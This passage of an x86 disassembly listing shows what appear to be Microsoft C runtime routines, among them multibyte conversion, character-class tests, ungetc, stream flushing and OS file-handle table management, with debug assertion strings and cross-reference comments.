sub_4273B0 add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_4], 0 jz short loc_427398 push 13h call sub_41BD30 add esp, 4 jmp short loc_4273A3 ; --------------------------------------------------------------------------- loc_427398: ; CODE XREF: sub_427330+5Aj push offset dword_49274C call ds:dword_494414 loc_4273A3: ; CODE XREF: sub_427330+66j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_427330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4273B0 proc near ; CODE XREF: sub_427330+4Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi loc_4273B6: ; CODE XREF: sub_4273B0+3Aj cmp dword_442F58, 1 jz short loc_4273E6 cmp dword_442F58, 2 jz short loc_4273E6 push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2" push 0 push 4Fh push offset aMbtowc_c ; "mbtowc.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4273E6 int 3 ; Trap to Debugger loc_4273E6: ; CODE XREF: sub_4273B0+Dj ; sub_4273B0+16j ... xor eax, eax test eax, eax jnz short loc_4273B6 cmp [ebp+arg_4], 0 jz short loc_4273F8 cmp [ebp+arg_8], 0 jnz short loc_4273FF loc_4273F8: ; CODE XREF: sub_4273B0+40j xor eax, eax jmp loc_427509 ; --------------------------------------------------------------------------- loc_4273FF: ; CODE XREF: sub_4273B0+46j mov ecx, [ebp+arg_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_42741E cmp [ebp+arg_0], 0 jz short loc_427417 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_427417: ; CODE XREF: sub_4273B0+5Dj xor eax, eax jmp loc_427509 ; --------------------------------------------------------------------------- loc_42741E: ; CODE XREF: sub_4273B0+57j cmp dword_492170, 0 jnz short loc_427444 cmp [ebp+arg_0], 0 jz short loc_42743A mov ecx, [ebp+arg_4] movzx dx, byte ptr [ecx] mov eax, [ebp+arg_0] mov [eax], dx loc_42743A: ; CODE XREF: sub_4273B0+7Bj mov eax, 1 jmp loc_427509 ; --------------------------------------------------------------------------- loc_427444: ; CODE XREF: sub_4273B0+75j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov eax, off_442D4C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_4274CD cmp dword_442F58, 1 jle short loc_4274A0 mov edx, [ebp+arg_8] cmp edx, dword_442F58 jl short loc_4274A0 xor eax, eax cmp [ebp+arg_0], 0 setnz al push eax mov ecx, [ebp+arg_0] push ecx mov edx, dword_442F58 push edx mov eax, [ebp+arg_4] push eax push 9 mov ecx, dword_492180 push ecx call ds:dword_4942D4 test eax, eax jnz short loc_4274C6 loc_4274A0: ; CODE XREF: sub_4273B0+B7j ; sub_4273B0+C2j mov edx, [ebp+arg_8] cmp edx, dword_442F58 jb short loc_4274B6 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax+1] test ecx, ecx jnz short loc_4274C6 loc_4274B6: ; CODE XREF: sub_4273B0+F9j call sub_422F20 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_427509 ; --------------------------------------------------------------------------- loc_4274C6: ; CODE XREF: sub_4273B0+EEj ; sub_4273B0+104j mov eax, dword_442F58 jmp short loc_427509 ; --------------------------------------------------------------------------- loc_4274CD: ; CODE XREF: sub_4273B0+AEj xor edx, edx cmp [ebp+arg_0], 0 setnz dl push edx mov eax, [ebp+arg_0] push eax push 1 mov ecx, [ebp+arg_4] push ecx push 9 mov edx, dword_492180 push edx call ds:dword_4942D4 test eax, eax jnz short loc_427504 call sub_422F20 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp short loc_427509 ; --------------------------------------------------------------------------- loc_427504: ; CODE XREF: sub_4273B0+142j mov eax, 1 loc_427509: ; CODE XREF: sub_4273B0+4Aj ; sub_4273B0+69j ... pop edi pop esi pop ebx pop ebp retn sub_4273B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427533 push 103h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_42754A ; --------------------------------------------------------------------------- loc_427533: ; CODE XREF: .text:0042751Bj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_42754A: ; CODE XREF: .text:00427531j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427580 push 1 mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_427595 ; --------------------------------------------------------------------------- loc_427580: ; CODE XREF: .text:0042756Bj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 1 mov [ebp-4], eax loc_427595: ; CODE XREF: .text:0042757Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_4275C0 push 2 mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_4275D5 ; --------------------------------------------------------------------------- loc_4275C0: ; CODE XREF: .text:004275ABj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 2 mov [ebp-4], eax loc_4275D5: ; CODE XREF: .text:004275BEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427600 push 4 mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_427615 ; --------------------------------------------------------------------------- loc_427600: ; CODE XREF: .text:004275EBj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp-4], eax loc_427615: ; CODE XREF: .text:004275FEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427643 push 80h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_42765A ; --------------------------------------------------------------------------- loc_427643: ; CODE XREF: .text:0042762Bj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp-4], eax loc_42765A: ; CODE XREF: .text:00427641j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427670 proc near ; CODE XREF: sub_41FBE0+105p ; sub_4210A0+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427690 push 8 mov eax, [ebp+arg_0] push eax call sub_41E750 add esp, 8 mov [ebp+var_4], eax jmp short loc_4276A5 ; --------------------------------------------------------------------------- loc_427690: ; CODE XREF: sub_427670+Bj mov ecx, [ebp+arg_0] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 8 mov [ebp+var_4], eax loc_4276A5: ; CODE XREF: sub_427670+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_427670 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_4276D0 push 10h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_4276E5 ; --------------------------------------------------------------------------- loc_4276D0: ; CODE XREF: .text:004276BBj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 10h mov [ebp-4], eax loc_4276E5: ; CODE XREF: .text:004276CEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427713 push 107h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_42772A ; --------------------------------------------------------------------------- loc_427713: ; CODE XREF: .text:004276FBj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_42772A: ; CODE XREF: .text:00427711j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427763 push 157h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_42777A ; --------------------------------------------------------------------------- loc_427763: ; CODE XREF: .text:0042774Bj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 157h mov [ebp-4], eax loc_42777A: ; CODE XREF: .text:00427761j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_4277B3 push 117h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_4277CA ; --------------------------------------------------------------------------- loc_4277B3: ; CODE XREF: .text:0042779Bj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 117h mov [ebp-4], eax loc_4277CA: ; CODE XREF: .text:004277B1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_442F58, 1 jle short loc_427800 push 20h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_427815 ; --------------------------------------------------------------------------- loc_427800: ; CODE XREF: .text:004277EBj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 20h mov [ebp-4], eax loc_427815: ; CODE XREF: .text:004277FEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 80h sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 7Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_442F58, 1 jle short loc_427865 push 103h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_42787C ; --------------------------------------------------------------------------- loc_427865: ; CODE XREF: .text:0042784Dj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_42787C: ; CODE XREF: .text:00427863j cmp dword ptr [ebp-4], 0 jnz short loc_427891 cmp dword ptr [ebp+8], 5Fh jz short loc_427891 mov dword ptr [ebp-8], 0 jmp short loc_427898 ; --------------------------------------------------------------------------- loc_427891: ; CODE XREF: .text:00427880j ; .text:00427886j mov dword ptr [ebp-8], 1 loc_427898: ; CODE XREF: .text:0042788Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_442F58, 1 jle short loc_4278C5 push 107h mov eax, [ebp+8] push eax call sub_41E750 add esp, 8 mov [ebp-4], eax jmp short loc_4278DC ; --------------------------------------------------------------------------- loc_4278C5: ; CODE XREF: .text:004278ADj mov ecx, [ebp+8] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_4278DC: ; CODE XREF: .text:004278C3j cmp dword ptr [ebp-4], 0 jnz short loc_4278F1 cmp dword ptr [ebp+8], 5Fh jz short loc_4278F1 mov dword ptr [ebp-8], 0 jmp short loc_4278F8 ; --------------------------------------------------------------------------- loc_4278F1: ; CODE XREF: .text:004278E0j ; .text:004278E6j mov dword ptr [ebp-8], 1 loc_4278F8: ; CODE XREF: .text:004278EFj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_427900 proc near ; CODE XREF: sub_41FBE0+9D7p ; sub_41FBE0+A65p ... cmp cl, 40h jnb short loc_42791A cmp cl, 20h jnb short loc_427910 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_427910: ; CODE XREF: sub_427900+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_42791A: ; CODE XREF: sub_427900+3j xor eax, eax xor edx, edx retn sub_427900 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_427927: ; CODE XREF: .text:0042794Fj cmp dword ptr [ebp+0Ch], 0 jnz short loc_42794B push offset aStreamNull ; "stream != NULL" push 0 push 31h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_42794B int 3 ; Trap to Debugger loc_42794B: ; CODE XREF: .text:0042792Bj ; .text:00427948j xor eax, eax test eax, eax jnz short loc_427927 mov ecx, [ebp+0Ch] push ecx call sub_421230 add esp, 4 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_427990 add esp, 8 mov [ebp-4], eax mov ecx, [ebp+0Ch] push ecx call sub_4212A0 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427990 proc near ; CODE XREF: sub_421080+11p ; .text:00427965p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_427997: ; CODE XREF: sub_427990+2Fj cmp [ebp+arg_4], 0 jnz short loc_4279BB push offset aStrNull ; "str != NULL" push 0 push 60h push offset aUngetc_c ; "ungetc.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4279BB int 3 ; Trap to Debugger loc_4279BB: ; CODE XREF: sub_427990+Bj ; sub_427990+28j xor eax, eax test eax, eax jnz short loc_427997 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4279F7 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1 test eax, eax jnz short loc_4279FF mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_4279F7 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_4279FF loc_4279F7: ; CODE XREF: sub_427990+3Bj ; sub_427990+58j or eax, 0FFFFFFFFh jmp loc_427AC7 ; --------------------------------------------------------------------------- loc_4279FF: ; CODE XREF: sub_427990+48j ; sub_427990+65j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jnz short loc_427A14 mov eax, [ebp+var_4] push eax call sub_427100 add esp, 4 loc_427A14: ; CODE XREF: sub_427990+76j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [ecx] cmp eax, [edx+8] jnz short loc_427A3F mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_427A32 or eax, 0FFFFFFFFh jmp loc_427AC7 ; --------------------------------------------------------------------------- loc_427A32: ; CODE XREF: sub_427990+98j mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax loc_427A3F: ; CODE XREF: sub_427990+8Fj mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 40h test eax, eax jz short loc_427A7D mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, 1 mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov edx, [ecx] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+arg_0] cmp eax, ecx jz short loc_427A7B mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax or eax, 0FFFFFFFFh jmp short loc_427AC7 ; --------------------------------------------------------------------------- loc_427A7B: ; CODE XREF: sub_427990+D7j jmp short loc_427A94 ; --------------------------------------------------------------------------- loc_427A7D: ; CODE XREF: sub_427990+BAj mov edx, [ebp+var_4] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov eax, [edx] mov cl, byte ptr [ebp+arg_0] mov [eax], cl loc_427A94: ; CODE XREF: sub_427990:loc_427A7Bj mov edx, [ebp+var_4] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+var_4] mov [ecx+4], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and al, 0EFh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] and eax, 0FFh loc_427AC7: ; CODE XREF: sub_427990+6Aj ; sub_427990+9Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_427990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427AD0 proc near ; CODE XREF: sub_421210+13p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_4], 0 push 2 call sub_41BC90 add esp, 4 mov [ebp+var_8], 3 jmp short loc_427AF9 ; --------------------------------------------------------------------------- loc_427AF0: ; CODE XREF: sub_427AD0:loc_427B94j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_427AF9: ; CODE XREF: sub_427AD0+1Ej mov ecx, [ebp+var_8] cmp ecx, dword_493760 jge loc_427B99 mov edx, [ebp+var_8] mov eax, dword_492750 cmp dword ptr [eax+edx*4], 0 jz short loc_427B94 mov ecx, [ebp+var_8] mov edx, dword_492750 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz short loc_427B51 mov edx, [ebp+var_8] mov eax, dword_492750 mov ecx, [eax+edx*4] push ecx call sub_419740 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_427B51 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_427B51: ; CODE XREF: sub_427AD0+5Dj ; sub_427AD0+76j cmp [ebp+var_8], 14h jl short loc_427B94 mov eax, [ebp+var_8] mov ecx, dword_492750 mov edx, [ecx+eax*4] add edx, 20h push edx call ds:dword_494310 push 2 mov eax, [ebp+var_8] mov ecx, dword_492750 mov edx, [ecx+eax*4] push edx call sub_4174C0 add esp, 8 mov eax, [ebp+var_8] mov ecx, dword_492750 mov dword ptr [ecx+eax*4], 0 loc_427B94: ; CODE XREF: sub_427AD0+44j ; sub_427AD0+85j jmp loc_427AF0 ; --------------------------------------------------------------------------- loc_427B99: ; CODE XREF: sub_427AD0+32j push 2 call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_427AD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427BB0 proc near ; CODE XREF: .text:loc_428042p ; sub_4282A0:loc_428539p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push esi mov [ebp+var_8], 0FFFFFFFFh push 12h call sub_41BC90 add esp, 4 mov [ebp+var_C], 0 jmp short loc_427BDA ; --------------------------------------------------------------------------- loc_427BD1: ; CODE XREF: sub_427BB0:loc_427D7Bj mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_427BDA: ; CODE XREF: sub_427BB0+1Fj cmp [ebp+var_C], 40h jge loc_427D80 mov ecx, [ebp+var_C] cmp dword_492420[ecx*4], 0 jz loc_427CE6 mov edx, [ebp+var_C] mov eax, dword_492420[edx*4] mov [ebp+var_4], eax jmp short loc_427C0D ; --------------------------------------------------------------------------- loc_427C04: ; CODE XREF: sub_427BB0+F1j ; sub_427BB0:loc_427CD1j mov ecx, [ebp+var_4] add ecx, 24h mov [ebp+var_4], ecx loc_427C0D: ; CODE XREF: sub_427BB0+52j mov edx, [ebp+var_C] mov eax, dword_492420[edx*4] add eax, 480h cmp [ebp+var_4], eax jnb loc_427CD6 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jnz loc_427CD1 mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_427C79 push 11h call sub_41BC90 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+8], 0 jnz short loc_427C6F mov edx, [ebp+var_4] add edx, 0Ch push edx call ds:dword_494430 mov eax, [ebp+var_4] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+var_4] mov [edx+8], ecx loc_427C6F: ; CODE XREF: sub_427BB0+A1j push 11h call sub_41BD30 add esp, 4 loc_427C79: ; CODE XREF: sub_427BB0+8Ej mov eax, [ebp+var_4] add eax, 0Ch push eax call ds:dword_494304 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx+4] and edx, 1 test edx, edx jz short loc_427CA6 mov eax, [ebp+var_4] add eax, 0Ch push eax call ds:dword_494300 jmp loc_427C04 ; --------------------------------------------------------------------------- loc_427CA6: ; CODE XREF: sub_427BB0+E2j mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov ecx, [ebp+var_C] shl ecx, 5 mov edx, [ebp+var_C] mov eax, [ebp+var_4] sub eax, dword_492420[edx*4] cdq mov esi, 24h idiv esi add ecx, eax mov [ebp+var_8], ecx jmp short loc_427CD6 ; --------------------------------------------------------------------------- loc_427CD1: ; CODE XREF: sub_427BB0+81j jmp loc_427C04 ; --------------------------------------------------------------------------- loc_427CD6: ; CODE XREF: sub_427BB0+6Fj ; sub_427BB0+11Fj cmp [ebp+var_8], 0FFFFFFFFh jz short loc_427CE1 jmp loc_427D80 ; --------------------------------------------------------------------------- loc_427CE1: ; CODE XREF: sub_427BB0+12Aj jmp loc_427D7B ; --------------------------------------------------------------------------- loc_427CE6: ; CODE XREF: sub_427BB0+3Fj push 79h push offset aOsfinfo_c ; "osfinfo.c" push 2 push 480h call sub_416A30 add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_427D79 mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov dword_492420[eax*4], ecx mov edx, dword_492520 add edx, 20h mov dword_492520, edx jmp short loc_427D2C ; --------------------------------------------------------------------------- loc_427D23: ; CODE XREF: sub_427BB0+1B2j mov eax, [ebp+var_4] add eax, 24h mov [ebp+var_4], eax loc_427D2C: ; CODE XREF: sub_427BB0+171j mov ecx, [ebp+var_C] mov edx, dword_492420[ecx*4] add edx, 480h cmp [ebp+var_4], edx jnb short loc_427D64 mov eax, [ebp+var_4] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_4] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_4] mov dword ptr [eax+8], 0 jmp short loc_427D23 ; --------------------------------------------------------------------------- loc_427D64: ; CODE XREF: sub_427BB0+18Fj mov ecx, [ebp+var_C] shl ecx, 5 mov [ebp+var_8], ecx mov edx, [ebp+var_8] push edx call sub_4280C0 add esp, 4 loc_427D79: ; CODE XREF: sub_427BB0+153j jmp short loc_427D80 ; --------------------------------------------------------------------------- loc_427D7B: ; CODE XREF: sub_427BB0:loc_427CE1j jmp loc_427BD1 ; --------------------------------------------------------------------------- loc_427D80: ; CODE XREF: sub_427BB0+2Ej ; sub_427BB0+12Cj ... push 12h call sub_41BD30 add esp, 4 mov eax, [ebp+var_8] pop esi mov esp, ebp pop ebp retn sub_427BB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427DA0 proc near ; CODE XREF: .text:00428073p ; sub_4282A0+379p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb loc_427E3A mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jnz short loc_427E3A cmp dword_442C54, 1 jnz short loc_427E1A mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jz short loc_427DF2 cmp [ebp+var_4], 1 jz short loc_427E00 cmp [ebp+var_4], 2 jz short loc_427E0E jmp short loc_427E1A ; --------------------------------------------------------------------------- loc_427DF2: ; CODE XREF: sub_427DA0+42j mov edx, [ebp+arg_4] push edx push 0FFFFFFF6h call ds:dword_4942BC jmp short loc_427E1A ; --------------------------------------------------------------------------- loc_427E00: ; CODE XREF: sub_427DA0+48j mov eax, [ebp+arg_4] push eax push 0FFFFFFF5h call ds:dword_4942BC jmp short loc_427E1A ; --------------------------------------------------------------------------- loc_427E0E: ; CODE XREF: sub_427DA0+4Ej mov ecx, [ebp+arg_4] push ecx push 0FFFFFFF4h call ds:dword_4942BC loc_427E1A: ; CODE XREF: sub_427DA0+36j ; sub_427DA0+50j ... mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] mov edx, [ebp+arg_4] mov [ecx+eax], edx xor eax, eax jmp short loc_427E53 ; --------------------------------------------------------------------------- loc_427E3A: ; CODE XREF: sub_427DA0+Dj ; sub_427DA0+2Dj call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_427E53: ; CODE XREF: sub_427DA0+98j mov esp, ebp pop ebp retn sub_427DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427E60 proc near ; CODE XREF: sub_421390+69p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb loc_427F1B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz loc_427F1B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] cmp dword ptr [ecx+eax], 0FFFFFFFFh jz short loc_427F1B cmp dword_442C54, 1 jnz short loc_427EFA mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+var_4], 0 jz short loc_427ED8 cmp [ebp+var_4], 1 jz short loc_427EE4 cmp [ebp+var_4], 2 jz short loc_427EF0 jmp short loc_427EFA ; --------------------------------------------------------------------------- loc_427ED8: ; CODE XREF: sub_427E60+68j push 0 push 0FFFFFFF6h call ds:dword_4942BC jmp short loc_427EFA ; --------------------------------------------------------------------------- loc_427EE4: ; CODE XREF: sub_427E60+6Ej push 0 push 0FFFFFFF5h call ds:dword_4942BC jmp short loc_427EFA ; --------------------------------------------------------------------------- loc_427EF0: ; CODE XREF: sub_427E60+74j push 0 push 0FFFFFFF4h call ds:dword_4942BC loc_427EFA: ; CODE XREF: sub_427E60+5Cj ; sub_427E60+76j ... mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov dword ptr [edx+ecx], 0FFFFFFFFh xor eax, eax jmp short loc_427F34 ; --------------------------------------------------------------------------- loc_427F1B: ; CODE XREF: sub_427E60+Dj ; sub_427E60+33j ... call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_427F34: ; CODE XREF: sub_427E60+B9j mov esp, ebp pop ebp retn sub_427E60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F40 proc near ; CODE XREF: sub_421390+9p ; sub_421390+24p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb short loc_427F8B mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jz short loc_427F8B mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov ecx, dword_492420[edx*4] mov eax, [ecx+eax] jmp short loc_427FA4 ; --------------------------------------------------------------------------- loc_427F8B: ; CODE XREF: sub_427F40+Cj ; sub_427F40+2Ej call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_427FA4: ; CODE XREF: sub_427F40+49j pop ebp retn sub_427F40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch mov byte ptr [ebp-0Ch], 0 mov eax, [ebp+0Ch] and eax, 8 test eax, eax jz short loc_427FCD mov cl, [ebp-0Ch] or cl, 20h mov [ebp-0Ch], cl loc_427FCD: ; CODE XREF: .text:00427FC2j mov edx, [ebp+0Ch] and edx, 4000h test edx, edx jz short loc_427FE2 mov al, [ebp-0Ch] or al, 80h mov [ebp-0Ch], al loc_427FE2: ; 